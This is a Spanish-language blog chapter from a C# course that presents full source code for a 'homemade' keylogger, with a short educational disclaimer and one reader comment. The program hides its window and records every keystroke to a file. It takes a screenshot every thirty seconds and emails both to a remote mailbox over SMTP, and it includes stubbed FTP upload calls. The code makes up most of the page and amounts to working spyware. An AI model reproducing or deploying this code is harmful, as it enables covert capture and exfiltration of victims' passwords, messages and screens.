18- . Keylogger casero
- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva aplicación de consola donde veremos como crear un keylogger casero.Este keylogger está hecho unicamente con fines didácticos.- Este será el último capítulo donde utilizaremos las aplicaciones de consola, en los siguentes empezaremos con las aplicaciones web, por eso quería mostraros como hacer algo más potente que lo visto hasta ahora. Quizás no entenderéis todo el código pero creo que la idea sobre lo que tiene que hacer el programa si os quedará clara.
- Para los que no sepáis lo que es un un Keylogger os dejo la siguiente definición :
“Un Keylogger es un pequeño programa diseñado para capturar todas las pulsaciones que son realizadas por un teclado, para guardarlas en un registro que puede verse luego en un ordenador local, o puede ser enviado con rapidez y seguridad a través de Internet a un equipo remoto”
- En el ejemplo que muestro en el video además de capturar las pulsaciones de teclado, me he entretenido en capturar la pantalla cada treinta segundos.Además de esto he implementado un método para mandar por correo las capturas hechas.En el video explico el código:
- Para entender el código del programa es necesario que sepáis como llamar a dlls del sistema.Os dejo un ejemplo sobre como indicarle al programa que queremos utilizar un método de la dll user32.dll:
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
- Para una información más detallada de como referenciar estos métodos de dll externas os dejo este enlace: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/extern
-También es necesario conocerse el código ASCII que utiliza 7 bits (2 elevado a 7 ) para representar los caracteres.Os dejo una tabla con los códigos ASCII:
- Cada número representa una letra. Esta tabla de códigos Ascii es en lo que nos basamos para traducir cada pulsación que se corresponde con un número a su letra.
- Os dejo el código de la aplicación, aunque antes me eximo de cualquier responsabilidad sobre el uso que le deis a este software:
- Disclaimer: Utilizar un keylogger en equipos ajenos constituye un delito, lo que puede acarrear penas por la ley. Utilízalo solo para fines educativos y en computadoras propias. No me responsabilizo del mal uso que otras personas le puedan dar.
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private extern static int ShowWindow(System.IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 teclas);
DateTime lastRun = DateTime.Now.AddSeconds(-30);
static void Main(string[] args)
{
ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
guardarPulsacion();
}
static void guardarPulsacion()
{
DateTime ultimaEjecucion = DateTime.Now.AddSeconds(-1);
while (true)
{
try
{
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int tecla = GetAsyncKeyState(i);
if (tecla == 1 || tecla == -32767)
{
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\XXX.txt", true);
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D1)) sw.Write("|");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D2)) sw.Write("@");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D3)) sw.Write("#");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D4)))sw.Write("$");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D5)))sw.Write("%");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D6)))sw.Write("&");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D7)))sw.Write("(");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D8)))sw.Write(")");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D9)))sw.Write(")");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D0)))sw.Write("=");
else if (Keys.OemPeriod.Equals((Keys)i))sw.Write(".");
else if (Keys.Back.Equals((Keys)i))sw.Write("");
else if (Keys.Space.Equals((Keys)i))sw.Write(" ");
else if (Keys.D0.Equals((Keys)i) || Keys.NumPad0.Equals((Keys)i))sw.Write("0");
else if (Keys.D1.Equals((Keys)i) || Keys.NumPad1.Equals((Keys)i))sw.Write("1");
else if (Keys.D2.Equals((Keys)i) || Keys.NumPad2.Equals((Keys)i))sw.Write("2");
else if (Keys.D3.Equals((Keys)i) || Keys.NumPad3.Equals((Keys)i))sw.Write("3");
else if (Keys.D4.Equals((Keys)i) || Keys.NumPad4.Equals((Keys)i))sw.Write("4");
else if (Keys.D5.Equals((Keys)i) || Keys.NumPad5.Equals((Keys)i))sw.Write("5");
else if (Keys.D6.Equals((Keys)i) || Keys.NumPad6.Equals((Keys)i))sw.Write("6");
else if (Keys.D7.Equals((Keys)i) || Keys.NumPad7.Equals((Keys)i))sw.Write("7");
else if (Keys.D8.Equals((Keys)i) || Keys.NumPad8.Equals((Keys)i))sw.Write("8");
else if (Keys.D9.Equals((Keys)i) || Keys.NumPad9.Equals((Keys)i))sw.Write("9");
else if (Keys.LButton.Equals((Keys)i) || Keys.MButton.Equals((Keys)i)) { }//no escribe
else
{ //letras
if (i >= 65 && i <= 122)
{
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey))) //Mayuscula
sw.Write(Convert.ToChar(i).ToString());
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock)))//Mayuscula
sw.Write(Convert.ToChar(i).ToString());
else sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
}
}
sw.Close();
}
}
if(DateTime.Now>ultimaEjecucion)
{
string fecha = DateTime.Now.ToString("h:mm:ss tt");
string nombrefinal = fecha.Trim().Replace(":","_");
pantallazo(nombrefinal);
ultimaEjecucion = DateTime.Now.AddSeconds(30);
//mandarPorFTP(nombrefinal);
//mandarPorFTP("XXX.txt");
EnviarEmail(Application.StartupPath + @"\"+nombrefinal, Application.StartupPath + @"\XXX.txt");
new FileInfo(nombrefinal).Delete();
}
}
catch (Exception ex) { }
}
}
static void pantallazo(string nombre)
{
int ancho = Screen.GetBounds(new Point(0, 0)).Width;
int alto = Screen.GetBounds(new Point(0, 0)).Height;
Bitmap p = new Bitmap(ancho, alto);
Graphics grafico = Graphics.FromImage((Image)p);
grafico.CopyFromScreen(0, 0, 0, 0, new Size(ancho, alto));
p.Save(nombre, ImageFormat.Jpeg);
}
static bool EnviarEmail(string adjunto1,string adjunto2)
{
MailMessage msg = new MailMessage();
msg.To.Add("alguncorreo@gmail.com");
msg.From = new MailAddress("alguncorreo@hotmail.com", "XXX", System.Text.Encoding.UTF8);
msg.Subject = "KeyLogger";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
Attachment item = new Attachment(adjunto1);
Attachment item2 = new Attachment(adjunto2);
msg.Attachments.Add(item);
msg.Attachments.Add(item2);
msg.BodyEncoding = System.Text.Encoding.UTF8;
SmtpClient client = new SmtpClient();
client.UseDefaultCredentials=false;
client.Credentials = new System.Net.NetworkCredential("alguncorreo@hotmail.com", "PASS");
client.Port = 587;
client.Host = "smtp.live.com";
client.EnableSsl = true; //SSL
try
{
client.Send(msg);
}
catch (Exception ex)
{
return false;
}
return true;
}
}
hay cosas que me salen que no están declaradas, necesito las bibliotecas
ResponderEliminar